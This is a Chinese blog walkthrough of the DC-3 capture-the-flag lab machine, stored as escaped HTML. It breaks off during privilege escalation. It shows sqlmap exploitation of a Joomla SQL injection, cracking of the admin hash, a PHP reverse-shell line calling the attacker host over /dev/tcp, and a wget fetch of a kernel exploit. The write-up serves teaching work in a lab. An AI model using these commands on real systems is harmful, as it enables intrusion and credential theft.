data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;拆&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;完&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;了&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;,&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;这&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;篇&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;接&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;着&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;干&lt;/span&gt; &lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;D&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;C&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;-&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;3&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;。&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;V&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;u&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;l&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;n&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;H&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;u&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;b&lt;/span&gt; &lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;里&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;的&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;第&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;三&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;个&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;靶&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;机&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;,&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;难&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;度&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;比&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;前&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;两&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;个&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;上&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;了&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;一&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;档&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;,&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;枚&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;举&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;和&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;提&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;权&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;的&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;思&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;路&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;都&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;有&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;新&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;东&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;西&lt;/span&gt;&lt;span data-sd-animate=&quot;true&quot; style=&quot;--sd-animation: sd-fadeIn; --sd-duration: 0ms; --sd-easing: ease-out;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h1 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;1 信息采集&lt;/span&gt;&lt;br/&gt;&lt;/h1&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们使用arp扫描工具获取该系统的IP地址信息。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;arp-scan&amp;nbsp;-l&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792501957219542.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;209&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 209px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现该系统的IP地址是：172.16.1.133&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;既然已经知道了IP地址，那么我们进行下一步，看看该IP地址上存在哪些端口信息，方便我们更进一步渗透。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;nmap&amp;nbsp;-A&amp;nbsp;-p-&amp;nbsp;&amp;nbsp;172.16.1.133&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792507964399729.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;143&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 143px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现该系统只开启了一个Apache的服务80端口，我们使用dirsearch工具进行目录探测，查看是否有可疑进去接口。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;dirsearch&amp;nbsp;&amp;nbsp;-u&amp;nbsp;&amp;nbsp;http://172.16.1.133&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792508241621327.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;212&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 212px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现扫描到了一个http://172.16.1.133/administrator的路径，我们尝试访问该路径，看看有什么发现哦！&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792508385364270.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;216&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 216px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们经过访问发现该系统部署了Joomla的web应用框架，我们使用Joomla的扫描工具识别其版本，随着版本在深入采集他的漏洞信息。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792508536153373.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;213&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 213px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;扫描结果确认版本为 &lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;Joomla 3.7.0&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;。该版本存在已知的 &lt;/span&gt;&lt;code&gt;com_fields&lt;/code&gt;&lt;span class=&quot;&quot;&gt; SQL 注入漏洞（CVE-2017-8917）&lt;/span&gt;。&lt;/p&gt;&lt;h1&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;2.SQL注入获取管理账号和密码&lt;/span&gt;&lt;br/&gt;&lt;/h1&gt;&lt;h2 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;2.1 确认sql注入点并获取数据库名称&lt;/span&gt;&lt;/h2&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sqlmap&amp;nbsp;-u&amp;nbsp;&amp;quot;http://172.16.1.133/index.php?option=com_fields&amp;amp;view=fields&amp;amp;layout=modal&amp;amp;list[fullordering]=updatexml&amp;quot;&amp;nbsp;--risk=3&amp;nbsp;--level=5&amp;nbsp;--random-agent&amp;nbsp;--dbs&amp;nbsp;-p&amp;nbsp;list[fullordering]&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;参数说明：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;-u&amp;nbsp;&amp;quot;http://...&amp;quot;：指定目标&amp;nbsp;URL。这是告诉&amp;nbsp;sqlmap&amp;nbsp;要测试哪个网址，这里包含了可能存在漏洞的完整路径和参数。
-p&amp;nbsp;list[fullordering]：指定要测试的参数。由于&amp;nbsp;URL&amp;nbsp;里有很多参数，-p&amp;nbsp;明确告诉&amp;nbsp;sqlmap&amp;nbsp;只针对&amp;nbsp;list[fullordering]&amp;nbsp;这个参数进行注入测试，避免浪费时间在其他参数上。
--level=5：设置测试等级为最高（5级）。等级越高，sqlmap&amp;nbsp;测试的覆盖面越广、越深入。默认是&amp;nbsp;1&amp;nbsp;级，5&amp;nbsp;级会测试更多的注入点和边界情况，比如检查&amp;nbsp;Cookie、User-Agent&amp;nbsp;等&amp;nbsp;HTTP&amp;nbsp;头。
--risk=3：设置风险等级为最高（3级）。风险越高，sqlmap&amp;nbsp;会使用更具侵入性的测试载荷。比如，可能会尝试基于时间的盲注（让数据库执行&amp;nbsp;SLEEP&amp;nbsp;函数）或更复杂的查询，这有极小概率对数据库造成影响，但在授权渗透测试中为了全面检测通常可以接受。
--random-agent：使用随机&amp;nbsp;User-Agent。每次请求时，sqlmap&amp;nbsp;会随机选择一个浏览器的&amp;nbsp;User-Agent&amp;nbsp;字符串。这可以模拟不同的客户端，有时能帮助绕过某些基于&amp;nbsp;User-Agent&amp;nbsp;的简单拦截或检测机制。
--dbs：枚举数据库名。这是本次命令的目标动作。一旦注入点被确认并利用成功，sqlmap&amp;nbsp;会尝试列出后端数据库管理系统（DBMS）中存在的所有数据库名称&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;经过以上的深度探测，我们探测出了该系统下面的数据库版本、数据库名称等信息。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792509530671090.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;187&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 187px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;从结果中识别出 Joomla 数据库，通常名为 &lt;/span&gt;&lt;strong&gt;&lt;code&gt;joomladb&lt;/code&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h2 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;2.2 获取数据表名称&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们可以在原有的sql注入命令中增加两个参数，&lt;code&gt;-D joomladb --tables&lt;/code&gt;，进行表名的探测，这两个参数的意思是 -D数据库名称&amp;nbsp; --tables表示在注入点上对数据库中的表名称进行探测。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sqlmap&amp;nbsp;-u&amp;nbsp;&amp;quot;http://172.16.1.133/index.php?option=com_fields&amp;amp;view=fields&amp;amp;layout=modal&amp;amp;list[fullordering]=updatexml&amp;quot;&amp;nbsp;--risk=3&amp;nbsp;--level=5&amp;nbsp;--random-agent&amp;nbsp;-D&amp;nbsp;joomladb&amp;nbsp;--tables&amp;nbsp;-p&amp;nbsp;list[fullordering]&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792509870131889.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;282&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 282px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们经过深度探测，已经探测到了数据库的表名称，其中发现有一个表特别显眼，就是#__users这个表,通常情况下，这个表主要存储的就是用户名和密码了。&lt;/p&gt;&lt;h2 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;2.3 获取用户名和密码&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;从上面我们已经获取了数据表的名称，现在我们进行数据表中获取用户和账号，但是为了更加详细的获取账号和密码，我们需要知道他的表中列名称。在原有的命令上增加一个参数，就是-T&amp;nbsp; “#__users”，其中-T代表表名称，--column代表获取列名称。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sqlmap&amp;nbsp;-u&amp;nbsp;&amp;quot;http://172.16.1.133/index.php?option=com_fields&amp;amp;view=fields&amp;amp;layout=modal&amp;amp;list[fullordering]=updatexml&amp;quot;&amp;nbsp;--risk=3&amp;nbsp;--level=5&amp;nbsp;--random-agent&amp;nbsp;-D&amp;nbsp;joomladb&amp;nbsp;-T&amp;nbsp;&amp;quot;#__users&amp;quot;&amp;nbsp;--columns&amp;nbsp;-p&amp;nbsp;list[fullordering]&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792510552253998.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;357&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 357px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们获取了#__users表中存在username，password两个字段，那么我们直接dump出这个两个字段的信息。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sqlmap&amp;nbsp;-u&amp;nbsp;&amp;quot;http://192.168.x.x/index.php?option=com_fields&amp;amp;view=fields&amp;amp;layout=modal&amp;amp;list[fullordering]=updatexml&amp;quot;&amp;nbsp;--risk=3&amp;nbsp;--level=5&amp;nbsp;--random-agent&amp;nbsp;-D&amp;nbsp;joomladb&amp;nbsp;-T&amp;nbsp;&amp;quot;#__users&amp;quot;&amp;nbsp;-C&amp;nbsp;username,password&amp;nbsp;--dump&amp;nbsp;-p&amp;nbsp;list[fullordering]&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这个命令中，我们增加了一个参数，就是-C，代表数据库中的字段内容，dump是把数据拿出来。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610201792511023253966.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;102&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 102px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在我们已经拿到了admin账号和密码，但是发现该密码是hash值，因此还需我们对该hash进行破解&lt;/p&gt;&lt;h2 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;&lt;strong&gt;2.4 破解密码哈希&lt;/strong&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们把密码的hash写入txt文件中，使用工具john进行hash破解。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;john&amp;nbsp;admin.txt&amp;nbsp;--wordlist=/usr/share/wordlists/rockyou.txt&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792512175333218.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;184&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 184px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;获取账号密码：admin&amp;nbsp; 密码是snoopy&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792512276445274.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;333&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 333px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;登录进入后台，现在已经进入后台，那么我们可以通过修改模板文件，编写getshell进入系统后台。&lt;/p&gt;&lt;h2 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;&lt;strong&gt;2.5 后台Getshell&lt;/strong&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;在后台导航至 &lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;Extensions → Templates → Templates&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;，选择一个模板（如 &lt;/span&gt;&lt;code&gt;protostar&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 或 &lt;/span&gt;&lt;code&gt;beez3&lt;/code&gt;&lt;span class=&quot;&quot;&gt;），点击模板名称进入编辑界面。点击 &lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;New File&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;，创建一个 &lt;/span&gt;&lt;code&gt;.php&lt;/code&gt;&lt;span class=&quot;&quot;&gt; 文件，写入反弹 Shell 代码：&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-php&quot;&gt;&amp;lt;?php&amp;nbsp;exec(&amp;quot;/bin/bash&amp;nbsp;-c&amp;nbsp;&amp;#39;bash&amp;nbsp;-i&amp;nbsp;&amp;gt;&amp;amp;&amp;nbsp;/dev/tcp/172.16.1.132/4444&amp;nbsp;0&amp;gt;&amp;amp;1&amp;quot;);&amp;nbsp;?&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;然后我们在kali系统使用nc进行监听kali系统的4444端口。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;nc&amp;nbsp;-lvnp&amp;nbsp;&amp;nbsp;4444&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们在浏览器访问以下地址：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;http://172.16.1.133/templates/Beez3/test.php&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;访问以后我们返回kali系统，发现已经连接到了DC-3系统的web应用目录下面。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792513165580822.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;115&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 115px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在我们进入了该目录下，我们先看看该目录下的有什么数据。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792513240678690.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;299&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 299px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们尝试cd到根目录，看看是否需要什么权限&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792513303907845.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;202&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 202px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现最多只能到VAR目录下面，因此想到根目录没有权限，因此我们需要进行提权。&lt;/p&gt;&lt;h2 style=&quot;text-indent: 0em;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;&lt;strong&gt;2.6 提权root&lt;/strong&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们使用uname -a查询系统的版本和内核版本，从系统层面查找提权漏洞。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792513426572668.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;115&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 115px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;该系统是Ubuntu，内核版本是 4.4.0-21-generic&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;&lt;strong&gt;2.7 上传并执行内核提权 EXP&lt;/strong&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span class=&quot;&quot;&gt;该内核存在 CVE-2016-4557（Exploit-DB &lt;/span&gt;&lt;strong&gt;&lt;span class=&quot;&quot;&gt;39772&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;&quot;&gt;）。在 Kali 上搜索并下载 EXP，我们在github上面下载好脚本以后上传到我们的kali系统，我个人不建议在靶机下面直接下载，先下载到kali系统，通过kali系统进行上传，或者是在web界面下面上传页可以。这里我们选择从kali系统上传，在kali系统搭建建议web。&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;python3&amp;nbsp;-m&amp;nbsp;http.server&amp;nbsp;8000&amp;nbsp;&amp;nbsp;&amp;nbsp;在kali系统执行&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在反弹shell下面使用kali系统的建议web下载到靶机。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;www-data@DC-3:/var/www/html$&amp;nbsp;wget&amp;nbsp;http://172.16.1.132:8000/39772.zip&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792514661199601.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;171&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 171px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;下载成功以后，对其进行解压，解压以后生成了39772这个目录，我进入该目录，查看信息。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;img src=&quot;https://www.shibaolong.com/zb_users/upload/2026/10/202610211792514834724939.png&quot; alt=&quot;图片.png&quot; width=&quot;500&quot; height=&quot;165&quot; border=&quot;0&quot; vspace=&quot;0&quot; title=&quot;图片.png&quot; style=&quot;width: 500px; height: 165px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;进入39772这个目录，查看发现有两个tar的压缩文件，我们对其进行解压并对其进行执行。&lt;/p&gt;&lt;pre 